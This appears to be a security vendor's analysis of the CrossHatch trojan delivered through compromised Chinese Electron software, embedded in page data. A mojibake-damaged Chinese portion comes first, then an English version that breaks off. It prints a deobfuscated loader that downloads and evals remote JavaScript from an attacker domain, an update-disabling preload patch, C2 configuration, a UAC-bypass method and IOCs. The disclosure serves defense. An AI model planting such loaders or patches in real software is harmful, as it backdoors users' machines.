¶ä¸ä¸¤æ¡è·¯å¾ä¼è¿å
¥nodeIntegration: trueçæ¬å° BrowserViewï¼å
·å¤ä»æå¡ç«¯ååºç´æ¥è·¨è¶å° Node.jsãæ¬æºæä»¶åç³»ç»å½ä»¤æ§è¡çæ¡ä»¶ï¼</li>\n</ol>\n<p class="line img-box text-center" data-line="55"><img src="/uploads/2026/08/10/d531d769ccb6646fdf2cc18cdb844e01.png" alt="" width="70%"></p>\n<p class="line" data-line="57">ç»åæ¬å°EDRæ¥å¿ä»¥å客æ·ç«¯è§¦åRCEæ§è¡cmd.exe /d /s /c "tasklist | find /i "sm.exe""æ¶æå½ä»¤å请æ±å®æ¹å
¬åIPçç½ç»è¡ä¸ºï¼æä»¬ç»¼å夿æ»å»è
éè¿ç¬¬äºæ¡è·¯å¾å
¥ä¾µç®æ ï¼</p>\n<p class="line img-box text-center" data-line="59"><img src="/uploads/2026/08/10/1310ce218844fbfd94de0d741c419420.png" alt="" width="70%"></p>\n<p class="line" data-line="61">ä»opsecçè§åº¦æ¥çSCRMçæ»å»é¾æ°´å¹³æ´é«ï¼æ´é¾æº¯æºï¼ä½æ¯ä»ç»ç«¯é²å¾¡æ¥è®²ç±äºä¸¤æ¡ä¾åºé¾è·¯å¾æç»é½æ¯éè¿child_process.exec()å¯å¨CMDå®ç°RCEï¼æä»¥EDRçå°ç两起ä¾åºé¾å¯¹åºçå½ä»¤è¡ç¸åï¼æä¸ä¸ªELECTRONç主è¿ç¨XXX.exeå¯å¨äºå¸¦æç¹å®åæ°çCMDå½ä»¤ï¼cmd.exe /d /s /c XXXXã</p>\n<br>\n<h3 class="line" data-line="65">æ¦å¨ç»ä»¶</h3>\n<h4 class="line" data-line="67">ä¸è½½è
</h4>\n<p class="line" data-line="69">硬ç¼ç é
ç½®ï¼</p>\n<pre class="hljs"><code class="hljs">strcpy\\(v7, "https://dash\\.autotranshub\\.com"\\); // C2 \nsub\\_1400B72A0\\(&v31\\[1\\], "$5j8RCi4U2\\#4A^", 14i64\\); // é¢å
±äº«å¯é¥ \\(PSK\\) \nstrcpy\\(\\(char \\*\\)&v39, "1\\.0\\.0"\\); // version \nqmemcpy\\(v18, "windows", 7\\); // platform \nv42 = 60; v43 = 10; v44 = 5; // å¿è·³å¨æ / æå¨ / æå°é´éï¼ç§ï¼\n</code></pre>\n<p class="line" data-line="79">éä¿¡åè®®å¦ä¸ï¼</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>端ç¹</strong></td>\n<td><strong>ç¨é</strong></td>\n</tr>\n<tr>\n<td>POST /api/v1/register</td>\n<td>ä¸çº¿æ³¨åï¼è¿å commands</td>\n</tr>\n<tr>\n<td>POST /api/v1/heartbeat</td>\n<td>å¿è·³ï¼è¿å pending_batches + commands</td>\n</tr>\n<tr>\n<td>POST /api/v1/download/<file_id></td>\n<td>æåå¾
æéæä»¶ï¼ååºå段 data</td>\n</tr>\n<tr>\n<td>POST /api/v1/processes</td>\n<td>䏿¥å害æºå
¨éè¿ç¨å表</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="89">éä¿¡ç»æï¼</p>\n<pre><code>\\{ "client\\_id": "<主æºå>\\-<ç¨æ·å>", "timestamp": <epoch>, "payload": "<base64\\(AES\\-256\\-GCM\\)>" \\}\n</code></pre>\n<p class="line" data-line="93">client_id ç± GetComputerNameA() + "-" + GetUserNameA() æ¼æï¼åä¸å°ä¸»æºåæ¶åè½ä¸ºå符串 unknownãæ³¨åå
屿æå« hostname / platform / ver
105sionã</p>\n<p class="line" data-line="95">å å¯ï¼SHA256("$5j8RCi4U2#4A^") â 32 åè AES-256 å¯é¥ï¼ChainingModeGCMï¼nonce ç± BCryptGenRandom çæ 12 åèï¼æ å Base64 ä¼ è¾ãä»£ç æ¾å¼æ ¡éª "key must be 32 bytes"ï¼è®¤è¯å¤±è´¥æ¥ "AES-GCM authentication tag mismatch"ã</p>\n<p class="line" data-line="97">è¿è¡æ¶è½åï¼</p>\n<ul>\n<li>å¯å¨ï¼CreateMutexA(NULL, TRUE, "Local\\\\single_instance") åå®ä¾äºæ¥ï¼å·²åå¨åç´æ¥éåºï¼â FreeConsole() è±ç¦»æ§å¶å° â æ³¨å â æèµ·å·¥ä½çº¿ç¨ã</li>\n<li>å¿è·³çº¿ç¨ï¼é¦æ¬¡éæºå»¶è¿ 4â14 ç§ï¼Mersenne Twisterï¼ç§å std::random_deviceï¼ï¼æ¤å 60 + rand(-10,+10) ç§ï¼ä¸é 5 ç§ââ带æå¨ï¼è§é¿åºå®å¨ææ£æµã</li>\n<li>è¿ç¨ä¸æ¥çº¿ç¨ï¼CreateToolhelp32Snapshot éåï¼è¿ç¨å转å°åå»éï¼æ¯ 1200 ç§ï¼20 åéï¼ POST 䏿¬¡å
¨éè¿ç¨å表ã妿 QueryFullProcessImageNameA è·¯å¾å¯å宿´éåè·¯å¾ã</li>\n</ul>\n<br>\n<h4 class="line" data-line="105">Electronåºç¨ææ¯å¨</h4>\n<p class="line" data-line="107">æ ¸å¿åè½æä¸¾å害æºå¨ä¸ææElectron åºç¨ï¼removeUseStrict å é¤ "use strict" 声æï¼é¿å
ä¸¥æ ¼æ¨¡å¼ç ´å注å
¥ä»£ç ï¼ï¼ææ¶æ JS åç½®å°å
¥å£æä»¶æåé¢ï¼asar.WriteFile + updateOffsets + updateHeader éå»ºå½æ¡£å¤´ä¸å移表ï¼ä½¿ç¯¡æ¹åç asar ç»æå®å¥½ãåºç¨ç
§å¸¸å¯å¨ï¼æ³¨å
¥çæ¶æjs解混æ·åé»è¾å¦ä¸ï¼</p>\n<pre class="hljs"><code class="hljs">require\\(\'https\'\\)\\.get\\(\'https://app\\.autotranshub\\.com/scrm\\.js\', function\\(res\\)\\{ \n let data = \'\'; \n res\\.on\\(\'data\', function\\(chunk\\)\\{ data \\+= chunk; \\}\\); \n res\\.on\\(\'end\', function\\(\\)\\{ eval\\(data\\); \\}\\); \n\\}\\);\n</code></pre>\n<p class="line" data-line="117">å è½½è¿ç¨scrm.jsï¼æ ¸å¿åè½æ¯è§£å¯C2æå¡å¨ï¼https://web.navicat.cc/basicï¼çæ°æ®ï¼Base64(XOR(JSON({fid, sid}), "strumarium"))ï¼ä¼ éç»eval彿°ï¼å®ç°å¯çå¨åæ³Electronç¨åºä¸çéè½åé¨ã</p>\n<p class="line" data-line="119">该æä»¶è¿æä¸ä¸ªé对BitBrowserçpreloadè¡¥ä¸åè½ï¼patchäºexposeInMainWorldï¼æ downloadFileService ä¸ onUpdateAvailable æ¢ææè¿å true ç空壳ï¼è¾¾å°ç¦ç¨æ´æ°çææã</p>\n<pre class="hljs"><code class="hljs">/\\*\\_bbp\\_\\*/ \n\\(\\(\\)=>\\{ \n const \\{contextBridge:c\\} = require\\("electron"\\); \n const \\_o = c\\.exposeInMainWorld\\.bind\\(c\\); \n c\\.exposeInMainWorld = \\(n,a\\) => \\{ \n if\\(n === "bitClientMain" && a && typeof a === "object"\\)\\{ \n a\\.downloadFileService = \\(\\) => true; \n a\\.onUpdateAvailable = \\(\\) => true; \n \\} \n return \\_o\\(n,a\\); \n \\}; \n\\}\\)\\(\\);\n</code></pre>\n<p class="line" data-line="136">BitBrowserå¨å½å
å¤ä¸ºçµå客æ·ä½¿ç¨ï¼åå½±åçscrmè½¯ä»¶ä¹æ¯ç¨äºè·¨å¢çµåï¼åç§è¿¹è±¡æ¾ç¤ºï¼æ¬è½®é«æ°´å¹³æ»å»ä¼¼ä¹æ¯åºäºç»æµç®çã</p>\n<br>\n<h4 class="line" data-line="140">CrossHatchç¹é©¬</h4>\n<p class="line" data-line="142">CrossHatchç±è¾ä¸ºä¼ ç»çæå·¥ PE æ å°å¨å è½½å°å
åä¸ï¼å¸¦æéä¿¡åè®®éæ°âCrossâï¼C2为ï¼www.msultra.xinãéä¿¡ç¹å¾å¦ä¸ï¼</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>项</strong></td>\n<td><strong>å¼</strong></td>\n</tr>\n<tr>\n<td>æ¹æ³</td>\n<td><strong>POST</strong></td>\n</tr>\n<tr>\n<td>User-Agent</td>\n<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36</td>\n</tr>\n<tr>\n<td>ä¸ä¼ ä¸ç¨ UA</td>\n<td>WinHTTP UploadFile/1.0</td>\n</tr>\n<tr>\n<td>æ¶æ¯ç»æ</td>\n<td>15 åè头ï¼å«éæ° Crossãç±»åãé¿åº¦ï¼+ è½½è·ï¼calloc(len+0x0F)</td>\n</tr>\n<tr>\n<td>ç¼ç </td>\n<td>
105Base64ï¼sub_140030190 为æ å Base64 è§£ç å¨ï¼</td>\n</tr>\n<tr>\n<td>å¿è·³é´é</td>\n<td>å
¨å± dword_140079360ï¼<strong>é»è®¤ 0x2710 = 10 ç§</strong>ï¼sub_140001EB0 èªéåºè°æ´ï¼<strong>ä¸é 0x3E8(1s)ãä¸é 0x7530(30s)</strong></td>\n</tr>\n<tr>\n<td>åè®®</td>\n<td>åæ¶æ¯æ http ä¸ httpsï¼sub_140004CF0 æå·¥è§£æ URLï¼æ scheme é 80/443ï¼</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="155">æ¨é©¬å
ç½®åè½å¦ä¸ï¼</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>è½å</strong></td>\n<td><strong>å®ç°</strong></td>\n</tr>\n<tr>\n<td><strong>UAC ææç»è¿</strong></td>\n<td>CoInitializeSecurity + CoGetObjectï¼Elevation:Administrator!new: æåæé COM monikerï¼â è°æ¥å£ vtable+0x48 ç 6 åæ¹æ³ï¼ICMLuaUtil::ShellExec å½¢æï¼ï¼é
å读 SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System</td>\n</tr>\n<tr>\n<td>管çåå¤å®</td>\n<td>AllocateAndInitializeSid + CheckTokenMembership</td>\n</tr>\n<tr>\n<td>ç¨æ·å¨åºæç¥</td>\n<td>GetLastInputInfo + GetTickCount64</td>\n</tr>\n<tr>\n<td>æä»¶ä¸ä¼ </td>\n<td>sub_140006270ï¼CreateFileW + GetFileSizeEx + WinHttpWriteData åå POST</td>\n</tr>\n<tr>\n<td>æä»¶ä¸è½½è½å°</td>\n<td>sub_1400078F0ï¼å
DeleteUrlCacheEntryW æ¸
IE ç¼åç迹å URLDownloadToFileW</td>\n</tr>\n<tr>\n<td>åå°å¼æ¨¡åå è½½</td>\n<td>MemoryModule</td>\n</tr>\n<tr>\n<td>ç½ç»</td>\n<td>WinHTTPï¼C2ï¼+ WS2_32/IOCP 弿¥å¼æï¼<strong>å« listen/acceptï¼å
·å¤çå¬ç«¯</strong>ï¼+ Secur32 SSPI å
¨å¥ï¼å« EncryptMessage/DecryptMessageï¼+ CRYPT32 è¯ä¹¦åºæä½</td>\n</tr>\n<tr>\n<td>åå¸/éæº</td>\n<td>ADVAPI32 Crypt* + SystemFunction036(RtlGenRandom)</td>\n</tr>\n<tr>\n<td>åºå±</td>\n<td>ntdll LdrEnumerateLoadedModules / NtAllocateVirtualMemory / RtlAcquirePebLock</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="171">æ ¸å¿è½å主è¦é C2ä¸åçæä»¶PEæä¾ï¼å
åå è½½æä»¶çç»æä¸memorymodule项ç®å®å
¨ä¸è´ï¼</p>\n<pre class="hljs"><code class="hljs">qword\\_14007B4F8\\( \n sub\\_1400092D0, // åè°ï¼å C2 åéæ¶æ¯ï¼æä»¶åä¼ æ°æ®ï¼ \n sub\\_140006270, // åè°ï¼æä»¶ååä¸ä¼ ï¼WinHTTPï¼UA = WinHTTP UploadFile/1\\.0ï¼ \n sub\\_1400078F0, // åè°ï¼ä¸è½½æä»¶è½å°ï¼DeleteUrlCacheEntryW \\+ URLDownloadToFileWï¼ \n dword\\_140079364, // é
ç½®å \n 11, // åè®®/çæ¬å¸¸é \n &String1 // C2 URL \n\\);\n</code></pre>\n<br>\n<h3 class="line" data-line="185">æ»ç»</h3>\n<p class="line" data-line="187">ç®åï¼åºäºå¥å®ä¿¡å¨èæ
æ¥ä¸å¿çå¨èæ
æ¥æ°æ®çå
¨çº¿äº§åï¼å
æ¬å¥å®ä¿¡å¨èæ
æ¥å¹³å°ï¼TIPï¼ã天æã天ç¼é«çº§å¨èæ£æµç³»ç»ãå¥å®ä¿¡NGSOCãå¥å®ä¿¡æå¿æç¥çï¼é½å·²ç»æ¯æå¯¹æ¤ç±»æ»å»çç²¾ç¡®æ£æµã</p>\n<p class="line img-box text-center" data-line="189"><img src="/uploads/2026/08/10/bee3d6217ce63fa787c3189cec19c8b3.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="193">IOC</h3>\n<p class="line" data-line="195">MD5:</p>\n<p class="line" data-line="197">8fb230a39b06c8aadce608f2abda19f1</p>\n<p class="line" data-line="199">a8020097a34d32721ddcba6cf75091b1</p>\n<p class="line" data-line="201">bdcaa7dc332f473ddbb50e606b1e707f</p>\n<p class="line" data-line="203">26f62150a38a0cd2d9d1087296e3d655</p>\n<p class="line" data-line="205">fb15ee51b257c91952082c1a35fe26c0</p>\n<p class="line" data-line="207">e6968d38ddb68931ff3e43db9e1535a4</p>\n<p class="line" data-line="209">1c801f78185f11eccaa5a37a62720e00</p>\n<p class="line" data-line="211">C2:</p>\n<p class="line" data-line="213">autotranshub.com</p>\n<p class="line" data-line="215">msultra.xin</p>\n<p class="line" data-line="217">winterms.com</p>\n<p class="line" data-line="219">navicat.cc</p>\n<p class="line" data-line="221">homeital.com</p>\n<p class="line" data-line="223">identifiles.com</p>\n<p class="line" data-line="225">msapifast.com</p>\n<br>\n<h3 class="line" data-line="229">åè龿¥</h3>\n<p class="line" data-line="231">[1] https://ti.qianxin.com/blog/articles/operation-dragon-dance-the-sword-of-damocles-hanging-over-the-gaming-industry/</p>\n<p class="line" data-line="233">[2] https://ti.qianxin.com/blog/articles/operation-deviltiger-0day-vulnerability-techniques-and-tactics-used-by-apt-q-12-disclosed-cn/</p>\n<p class="line" data-line="235">[3] https://ti.qianxin.com/blog/articles/operation-south-star-cn/</p>\n<p class="line" data-line="237">[4] https://ti.qianxin.com/blog/articles/supply-chain-attack-on-official-installer-of-a-virtual-mobile-service-provider-cn/</p>\n<p class="line" data-line="239">[5] https://ti.qianxin.com/blog/articles/original-supply-chain-incident-on-an-encrypted-im-official-website-cn/</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/supply-chain-attack-activities-against-domestic-electron-software-cn"},{_id:In,title:ot,category:s,readableId:"supply-chain-attack-activities-against-domestic-electron-software-en",isPdfArticle:a,isAdvisorArticle:a,abstract:"In June 2026, the RedDrip Team of QIANXIN Threat Intelligence Center, through its private AI powered threat intelligence production pipeline, continuously detected a
105new bespoke trojan, CrossHatch, being distributed via supply chains of multiple domestic Electron software products. Some supply chain nodes exhibited targeted delivery behaviors. Various signs suggest that the attackers, likely for economic purposes, are conducting high level attacks against domestic and cross border e commerce businesses.",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[p,"AI",cp],publish_time:"2026-08-07T08:16:11.000Z",content:'<h3 class="line" data-line="0">Background</h3>\n<p class="line" data-line="2">Since our discovery of Operation Dragon Dance<sup>[1]</sup> in 2021, we have repeatedly emphasized the vulnerability of domestic Electron software â products built on the Chromium embedded framework are highly susceptible to remote code execution attacks. Subsequently, we have uncovered espionage campaigns by overseas APT groups exploiting dozens of 0âday vulnerabilities in domestic Electron software, including Operation DevilTiger<sup>[2]</sup> and Operation South Star<sup>[3]</sup>.</p>\n<p class="line" data-line="4">Entering the AI era, the barrier to sourceâcode auditing of Electron has dropped dramatically: attackers can now discover exploitable interfaces by merely consuming tokens. In some cases, AI even starts directly from OSS keys left inside the asar package, further lowering the cost of supply chain attacks.</p>\n<p class="line" data-line="6">This shift has translated into real threats. This year we have already monitored over a dozen supply chain attack incidents against domestic software, with attackers ranging from highâend cybercriminals to emerging APT groups. Some nonâpolitically motivated supply chain attacks have been disclosed to the openâsource community<sup>[4][5]</sup>. At the same time, AIâs excellent coding capabilities have spawned a large number of engineered bespoke trojans â in just the first half of this year we captured a considerable volume of new samples. In short, AIâdriven cyberattacks are posing unprecedented challenges to the advanced threat discovery and attribution capabilities of various vendors.</p>\n<p class="line" data-line="8">In June 2026, the RedDrip Team of QIANXIN Threat Intelligence Center, through its private AIâpowered threat intelligence production pipeline, continuously detected a
105new bespoke trojan, CrossHatch, being distributed via supply chains of multiple domestic Electron software products. Some supply chain nodes exhibited targeted delivery behaviors. Various signs suggest that the attackers, likely for economic purposes, are conducting highâlevel attacks against domestic and crossâborder eâcommerce businesses.</p>\n<p class="line" data-line="10">The Tianqing "Liuhe" Advanced Threat Defense Engine can already intercept the CrossHatch trojan:</p>\n<p class="line img-box text-center" data-line="12"><img src="/uploads/2026/08/10/d9f8793ec74076eb4de10f1efbd9da1d.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="16">Supply Chain Entry Points in Domestic Electron Software</h3>\n<h4 class="line" data-line="18">Supply Chain Entry via Official Website Installer of an IM Client</h4>\n<p class="line" data-line="20">Full attack chain as follows:</p>\n<p class="text-center line img-box text-center" data-line="22"><img src="/uploads/2026/08/10/e1fcaab8e283edebfdc17186acf9c9ae.png" alt="" width="70%"></p>\n<p class="line" data-line="24">Download URL details:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Field</strong></td>\n<td><strong>Details</strong></td>\n</tr>\n<tr>\n<td>Referrer</td>\n<td>https://web.qXXXXXXXXXchat.com/ (official website)</td>\n</tr>\n<tr>\n<td>Download URL</td>\n<td>https://down.qXXXXXXXXXchat.com/Client/XXXXXXX_windows.zip (official URL path)</td>\n</tr>\n<tr>\n<td>Malware MD5</td>\n<td>a8020097a34d32721ddcba6cf75091b1</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="33">The attackers hid malicious logic inside the app.asar of the Electron installer. After unpacking, the modified code is located at node_modules/electron-updater/out/main.js. After deobfuscation, the logic downloads a whiteâplusâblack DLL component:</p>\n<p class="line img-box text-center" data-line="35"><img src="/uploads/2026/08/10/78d354c6d9b20e2b975a464a6c911291.png" alt="" width="70%"></p>\n<p class="line" data-line="37">Meanwhile, main/index.js <code>requires the module require\\("electron\\-updater"\\)</code>, so the installer automatically loads it upon startup.</p>\n<br>\n<h4 class="line" data-line="41">Supply Chain + RCE via an SCRM Client Announcement Interface</h4>\n<p class="line" data-line="43">The supply chain attack against the SCRM client is relatively more complex. The attackers appear to have used a combination of the official announcement interface supply chain and RCE to deliver CrossHatch to specific targets. Attack chain:</p>\n<p class="text-center line img-box text-center" data-line="45"><img src="/uploads/2026/08/10/4bd169799ae366beabdc9796bbbfdb2b.png" alt="" width="70%"></p>\n<p class="line" data-line="47">During our audit of the SCRM installer package, we found no embedded malicious code â it is most likely delivered from the cloud. We then performed vulnerability mining on the ASAR and discovered two RCEâcapable interfaces:</p>\n<ol>\n<li><strong>Remote JS loading interface</strong>: In main/tabConfig.js, the function loadTelegramInterceptFromRemote loads a remote official highâprivilege JS. If an attacker can control the JS content, RCE can be achieved â the principle is similar to the earlier Apifox incident.</li>\n</ol>\n<p class="line img-box text-center" data-line="51"><img src="/uploads/2026/08/10/27c67ea051e8d79f1becafd53db0dcd9.png" alt="" width="70%"></p>\n<ol start="2">\n<li><strong>Official announcement interface</strong>: This interface uploads the clientâs account, tenant, and department identifiers, and pushes announcements. The client has multiple places where serverâreturned JSON fields are directly concatenated into <code>webContents\\.executeJavaScript</code> without proper JavaScript string escaping. Two of these paths enter a local BrowserView with <code>nodeIntegration: true</code>, enabling a direct jump from server responses to Node.js, local file system, and system command execution:</li>\n</ol>\n<p class="line img-box text-center" data-line="55"><img src="/uploads/2026/08/10/d531d769ccb6646fdf2cc18cdb844e01.png" alt="" width="70%"></p>\n<p class="line" data-line="57">Combining local EDR logs and the clientâs network request to the official announcement IP before triggering the RCE command <code>cmd\\.exe /d /s /c "tasklist | find /i "sm\\.exe"</code> (a malicious command), we comprehensively determined that the attackers compromised the target via the second path:</p>\n<p class="line img-box text-center" data-line="59"><img src="/uploads/2026/08/10/1310ce218844fbfd94de0d741c419420.png" alt="" width="70%"></p>\n<p class="line" data-line="61">From an OPSEC perspective, the SCRM attack chain is more sophisticated and harder to trace. However, from a terminal defense standpoint, because both supply chain paths ultimately launch CMD via <code>child\\_process\\.exec\\(\\)</code> to achieve RCE, the EDR sees the same command line for both incidents â a certain Electron main process (XXX.exe) launches a CMD command with specific parameters: <code>cmd\\.exe /d /s /c XXXX</code>.</p>\n<br>\n<h3 class="line" data-line="65">Weapon Components</h3>\n<h4 class="line" data-line="67">Downloader</h4>\n<p class="line" data-line="69">Hardâcoded configuration:</p>\n<pre class="hljs"><code class="hljs">strcpy\\(v7, "https://dash\\.autotranshub\\.com"\\); // C2\nsub\\_1400B72A0\\(&v31\\[1\\], "$5j8RCi4U2\\#4A^", 14i64\\); // Preâshared key \\(PSK\\)\nstrcpy\\(\\(char \\*\\)&v39, "1\\.0\\.0"\\); // version\nqmemcpy\\(v18, "windows", 7\\); // platform\nv42 = 60; v43 = 10; v44 = 5; // heartbeat period / jitter / minimum interval \\(seconds\\)\n</code></pre>\n<p class="line" data-line="79">Communication protocol:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Endpoint</strong></td>\n<td><strong>Purpose</strong></td>\n</tr>\n<tr>\n<td>POST /api/v1/register</td>\n<td>Registration, returns commands</td>\n</tr>\n<tr>\n<td>POST /api/v1/heartbeat</td>\n<td>Heartbeat, returns pending_batches + commands</td>\n</tr>\n<tr>\n<td>POST /api/v1/download/<file_id></td>\n<td>Fetch pending file, response field data</td>\n</tr>\n<tr>\n<td>POST /api/v1/processes</td>\n<td>Fetch pending file, response field data</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="89">Communication structure:</p>\n<pre><code>\\{ "client\\_id": "<hostname>\\-<username>", "timestamp": <epoch>, "payload": "<base64\\(AES\\-256\\-GCM\\)>" \\}\n</code></pre>\n<p class="line" data-line="93"><code>client\\_id</code> is constructed from <code>GetComputerNameA\\(\\)</code> + "-" + <code>GetUserNameA\\(\\)</code>; if the hostname cannot be obtained, it falls back to the string <code>unknown</code>. The plaintext inside the registration contains <code>
105hostname / platform / version</code>.</p>\n<p class="line" data-line="95">Encryption: SHA256("$5j8RCi4U2#4A^") â 32âbyte AESâ256 key; ChainingModeGCM; nonce is 12 bytes generated by <code>BCryptGenRandom</code>; standard Base64 transport. The code explicitly checks that "key must be 32 bytes" and fails with "AES-GCM authentication tag mismatch" on authentication failure.</p>\n<p class="line" data-line="97">Runtime capabilities:</p>\n<ul>\n<li>Startup: <code>CreateMutexA\\(NULL, TRUE, "Local\\\\\\\\single\\_instance"\\)</code> â singleâinstance mutex (exits if already present) â <code>FreeConsole\\(\\)</code> to detach from console â register â spawn worker threads.</li>\n<li>Heartbeat thread: first random delay 4â14 seconds (Mersenne Twister, seeded by <code>std::random\\_device</code>), then every 60 + rand(-10,+10) seconds, with a lower bound of 5 seconds â jitter to evade fixedâperiod detection.</li>\n<li>Process reporting thread: traverses with <code>CreateToolhelp32Snapshot</code>, converts process names to lowercase, deduplicates, and POSTs the full process list every 1200 seconds (20 minutes). Additionally, <code>QueryFullProcessImageNameA</code> can retrieve the full image path.</li>\n</ul>\n<br>\n<h4 class="line" data-line="105">Electron Application Poisoner</h4>\n<p class="line" data-line="107">Core functionality enumerates all Electron applications on the victim machine, removes <code>"use strict"</code> declarations (to prevent strict mode from breaking injected code), prepends malicious JS to the very beginning of the entry file, and uses <code>asar\\.WriteFile</code> + <code>updateOffsets</code> + <code>updateHeader</code> to rebuild the archive header and offset table. This leaves the tampered asar structurally intact and the application starts normally. The deobfuscated malicious JS logic is as follows:</p>\n<pre class="hljs"><code class="hljs">require\\(\'https\'\\)\\.get\\(\'https://app\\.autotranshub\\.com/scrm\\.js\', function\\(res\\)\\{ \n let data = \'\'; \n res\\.on\\(\'data\', function\\(chunk\\)\\{ data \\+= chunk; \\}\\); \n res\\.on\\(\'end\', function\\(\\)\\{ eval\\(data\\); \\}\\); \n\\}\\);\n</code></pre>\n<p class="line" data-line="117">It loads the remote <code>scrm\\.js</code>, whose core function is to decrypt data from the C2 server (<code>https://web\\.navicat\\.cc/basic</code>): Base64(XOR(JSON({fid, sid}), "strumarium")), and pass it to eval, implementing a hidden backdoor that parasitizes legitimate Electron programs.</p>\n<p class="line" data-line="119">This plugin also includes a preload patch for BitBrowser, patching <code>exposeInMainWorld</code> to replace <code>downloadFileService</code> and <code>onUpdateAvailable</code> with stubs that always return <code>true</code>, effectively disabling updates.</p>\n<pre class="hljs"><code class="hljs">/\\*\\_bbp\\_\\*/ \n\\(\\(\\)=>\\{ \n const \\{contextBridge:c\\} = require\\("electron"\\); \n const \\_o = c\\.exposeInMainWorld\\.bind\\(c\\); \n c\\.exposeInMainWorld = \\(n,a\\) => \\{ \n if\\(n === "bitClientMain" && a && typeof a === "object"\\)\\{ \n a\\.downloadFileService = \\(\\) => true; \n a\\.onUpdateAvailable = \\(\\) => true; \n \\} \n return \\_o\\(n,a\\); \n \\}; \n\\}\\)\\(\\);\n</code></pre>\n<p class="line" data-line="136">BitBrowser is mostly used by eâcommerce customers in China, and the affected SCRM software is also used for crossâborder eâcommerce. All signs indicate that this highâlevel campaign is likely economically motivated.</p>\n<br>\n<h4 class="line" data-line="140">CrossHatch Trojan</h4>\n<p class="line" data-line="142">CrossHatch is loaded into memory by a relatively traditional manual PE mapper, with the protocol magic number <code>"Cross"</code> and C2: <code>www\\.msultra\\.xin</code>. Communication characteristics:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Item</strong></td>\n<td><strong>Value</strong></td>\n</tr>\n<tr>\n<td>Method</td>\n<td>POST</td>\n</tr>\n<tr>\n<td>UserâAgent</td>\n<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36</td>\n</tr>\n<tr>\n<td>Uploadâspecific UA</td>\n<td>WinHTTP UploadFile/1.0</td>\n</tr>\n<tr>\n<td>Message structure</td>\n<td>15âbyte header (containing magic <code>Cross</code>, type, length) + payload, <code>calloc\\(len\\+0x0F\\)</code></td>\n</tr>\n<tr>\n<td>Encoding</td>\n<td>Base64 (<code>sub\\_140030190</code> is a standard Base64 decoder)</td>\n</tr>\n<tr>\n<td>Heartbeat interval</td>\n<td>Global <code>dword\\_140079360</code>, default <strong>0x2710 = 10 seconds</strong>; <code>sub\\_140001EB0</code> adjusts adaptively, <strong>lower bound 0x3E8 (1s), upper bound 0x7530 (30s)</strong></td>\n</tr>\n<tr>\n<td>Protocol</td>\n<td>Supports both http and https (<code>sub\\_140004CF0</code> manually parses URL, selects 80/443 based on scheme)</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="155">Builtâin capabilities of the trojan:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Capability</strong></td>\n<td><strong>Implementation</strong></td>\n</tr>\n<tr>\n<td>UAC bypass</td>\n<td><code>CoInitializeSecurity</code> + <code>CoGetObject</code> (Elevation:Administrator!new: privilegeâelevation COM moniker) â call 6âparameter method at vtable+0x48 (ICMLuaUtil::ShellExec form); also reads <code>SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Policies\\\\\\\\System</code></td>\n</tr>\n<tr>\n<td>Admin check</td>\n<td><code>AllocateAndInitializeSid</code> + <code>CheckTokenMembership</code></td>\n</tr>\n<tr>\n<td>User presence detection</td>\n<td><code>GetLastInputInfo</code> + <code>GetTickCount64</code></td>\n</tr>\n<tr>\n<td>File upload</td>\n<td><code>sub\\_140006270</code>: <code>CreateFileW</code> + <code>GetFileSizeEx</code> + <code>WinHttpWriteData</code> chunked POST</td>\n</tr>\n<tr>\n<td>File download to disk</td>\n<td><code>sub\\_1400078F0</code>: first <code>DeleteUrlCacheEntryW</code> to clear IE cache traces, then <code>URLDownloadToFileW</code></td>\n</tr>\n<tr>\n<td>Reflective module loading</td>\n<td>MemoryModule</td>\n</tr>\n<tr>\n<td>Networking</td>\n<td>WinHTTP (C2) + WS2_32/IOCP async engine (includes <code>listen/accept</code>, capable of listening ports) + Secur32 SSPI full suite (including <code>EncryptMessage</code>/<code>DecryptMessage</code>) + CRYPT32 certificate store operations</td>\n</tr>\n<tr>\n<td>Hashing / random</td>\n<td>ADVAPI32 Crypt* + <code>SystemFunction036</code> (RtlGenRandom)</td>\n</tr>\n<tr>\n<td>Lowâlevel</td>\n<td>ntdll <code>LdrEnumerateLoadedModules</code> / <code>NtAllocateVirtualMemory</code> / <code>RtlAcquirePebLock</code></td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="170">The core capabilities are mainly provided by plugin PEs delivered from the C2. The inâmemory loading structure is fully consistent with the MemoryModule project:</p>\n<pre class="hljs"><code class="hljs">qword\\_14007B4F8\\(\n sub\\_1400092D0, // callback: send messages to C2 \\(plugin return data\\)\n sub\\_140006270, // callback: file chunked upload 